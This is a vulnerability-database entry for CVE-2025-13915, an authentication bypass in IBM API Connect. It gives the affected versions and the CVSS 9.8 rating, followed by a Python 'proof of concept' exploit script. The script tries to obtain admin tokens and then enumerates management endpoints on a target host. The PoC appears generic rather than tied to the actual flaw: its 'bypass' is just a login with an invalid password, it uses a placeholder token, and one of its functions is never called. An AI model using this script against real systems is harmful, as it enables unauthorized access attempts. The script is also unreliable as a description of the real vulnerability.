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CVE-2025-13915 CVSS 9.8 CRITICAL

CVE-2025-13915

Published: 2025-12-26 14:15:58
Last Modified: 2025-12-31 21:37:43

Description

IBM API Connect 10.0.8.0 through 10.0.8.5, and 10.0.11.0 could allow a remote attacker to bypass authentication mechanisms and gain unauthorized access to the application.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ibm:api_connect:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:api_connect:10.0.11.0:*:*:*:*:*:*:* - VULNERABLE
IBM API Connect 10.0.8.0
IBM API Connect 10.0.8.1
IBM API Connect 10.0.8.2
IBM API Connect 10.0.8.3
IBM API Connect 10.0.8.4
IBM API Connect 10.0.8.5
IBM API Connect 10.0.11.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-13915 IBM API Connect Authentication Bypass PoC # Target: IBM API Connect 10.0.8.0 - 10.0.8.5, 10.0.11.0 TARGET = "https://target-api-connect.example.com" VULN_PATH = "/api/authenticationAPI/v1/authenticationmethod" def check_vulnerability(): """Check if target is vulnerable to CVE-2025-13915""" headers = { "Content-Type": "application/json", "User-Agent": "IBM-APIConnect-Scanner/1.0" } # Attempt authentication bypass with malformed request payload = { "grant_type": "password", "username": "admin", "password": "invalid_password", "realm": "provider/default-idp-1" } try: response = requests.post( f"{TARGET}{VULN_PATH}", json=payload, headers=headers, verify=False, timeout=10 ) if response.status_code == 200: data = response.json() if "access_token" in data or "token" in data: print(f"[!] VULNERABLE: Authentication bypass successful") print(f"[+] Token obtained: {data.get('access_token', data.get('token'))[:50]}...") return True print(f"[*] Status: {response.status_code}") print(f"[*] Response: {response.text[:200]}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def exploit_admin_access(): """Exploit to gain admin access after bypass""" # After bypassing auth, enumerate admin endpoints admin_endpoints = [ "/api/cloud/integrationServices/1.0/organizations", "/api/cloud/integrationServices/1.0/analytics", "/api/management/2.0/invitations" ] for endpoint in admin_endpoints: try: response = requests.get( f"{TARGET}{endpoint}", headers={"Authorization": "Bearer manipulated_token"}, verify=False ) print(f"[*] {endpoint}: {response.status_code}") except: pass if __name__ == "__main__": print("CVE-2025-13915 IBM API Connect Auth Bypass PoC") print("=" * 50) check_vulnerability()

References

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